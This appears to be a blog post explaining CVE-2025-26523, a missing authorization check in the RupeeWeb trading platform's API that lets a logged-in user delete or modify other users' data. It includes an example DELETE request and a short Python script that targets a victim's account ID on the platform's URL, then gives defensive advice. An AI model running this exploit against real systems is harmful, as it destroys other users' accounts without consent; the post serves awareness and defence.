A recently disclosed security vulnerability, CVE-2025-26523, shines a spotlight on RupeeWeb—a popular trading platform used by thousands. This vulnerability opens a dangerous loophole due to insufficient authorization controls on API endpoints. If left unpatched, it allows a logged-in attacker to modify or delete information belonging not only to themselves but to other users, too.

In this post, we break down what CVE-2025-26523 is, how the exploitation works (with simple code examples), the risk it brings, and what users and admins should do. We use real references and exclusive analysis so you can understand the threat—even if you aren’t a security pro.

What is RupeeWeb And Why Is This Scary?

RupeeWeb is a trading platform widely used for digital asset management and online trading in a variety of markets. It offers API endpoints to perform actions like adding, updating, or deleting resources such as account info or trade listings.

But here’s the flaw: RupeeWeb’s API endpoints don’t properly check if a user is allowed to perform actions on another user’s data.

Check that the user is authenticated

- Verify if the user is authorized to perform *that* operation on *that* specific resource (usually their own data).

What Went Wrong

RupeeWeb’s backend checks if you’re logged in. But it doesn’t check if the resource you’re trying to change actually *belongs to you*.

So, if a user knows or can guess another user’s ID, they can make API calls targeting data they shouldn’t have access to.

Example API Endpoint (Pseudocode)

DELETE /api/account/delete?id=12345 HTTP/1.1
Authorization: Bearer <attacker_token>

Here, id=12345 could be any valid account ID—maybe not even the currently logged-in user.

The missing check: There’s no server-side validation making sure user attacker_token is allowed to delete account 12345.

Below is a (harmless) demonstration script that shows how an attacker could use this vulnerability

import requests

API_URL = "https://trading.rupeeweb.com/api/account/delete";
ATTACKER_TOKEN = "eyJh..."      # Attacker's own JWT token
VICTIM_USER_ID = "1337"         # Replace with target user ID

headers = {
    "Authorization": f"Bearer {ATTACKER_TOKEN}",
    "Content-Type": "application/json"
}

response = requests.delete(f"{API_URL}?id={VICTIM_USER_ID}", headers=headers)

if response.status_code == 200:
    print(f"[+] Success! Account {VICTIM_USER_ID} deleted.")
else:
    print(f"[-] Exploit failed (status: {response.status_code}): {response.text}")

> Warning: Do not use this script on real platforms without permission—it is for security testing and demonstration only.

Vendor Status

- Reported to vendor: RupeeWeb Security Team
- Patch status: As of now, the vendor is working on a patch. Stay tuned to official advisories.

For Developers

- Always enforce authorization checks for each sensitive API request—don’t trust client-side filtering.

References and Further Reading

- NIST NVD Entry: CVE-2025-26523
- Official RupeeWeb Advisory: security.rupeeweb.com/advisories/CVE-2025-26523
- OWASP Broken Access Control: owasp.org/Top10/A01_2021-Broken_Access_Control/

Conclusion

CVE-2025-26523 is a classic example of why strong authorization is as important as authentication. If you use RupeeWeb or build APIs in general, double-check your controls and be ready for updates. This vulnerability isn’t flashy, but it’s a big deal—because sometimes, all it takes is a simple API call to lose control over your data.

Stay safe—patch early, patch often!

*This post is for educational and awareness purposes. For security consulting or responsible disclosure reports, contact your platform administrator or [security@rupeeweb.com](mailto:security@rupeeweb.com).*

Timeline

Published on: 02/14/2025 12:15:29 UTC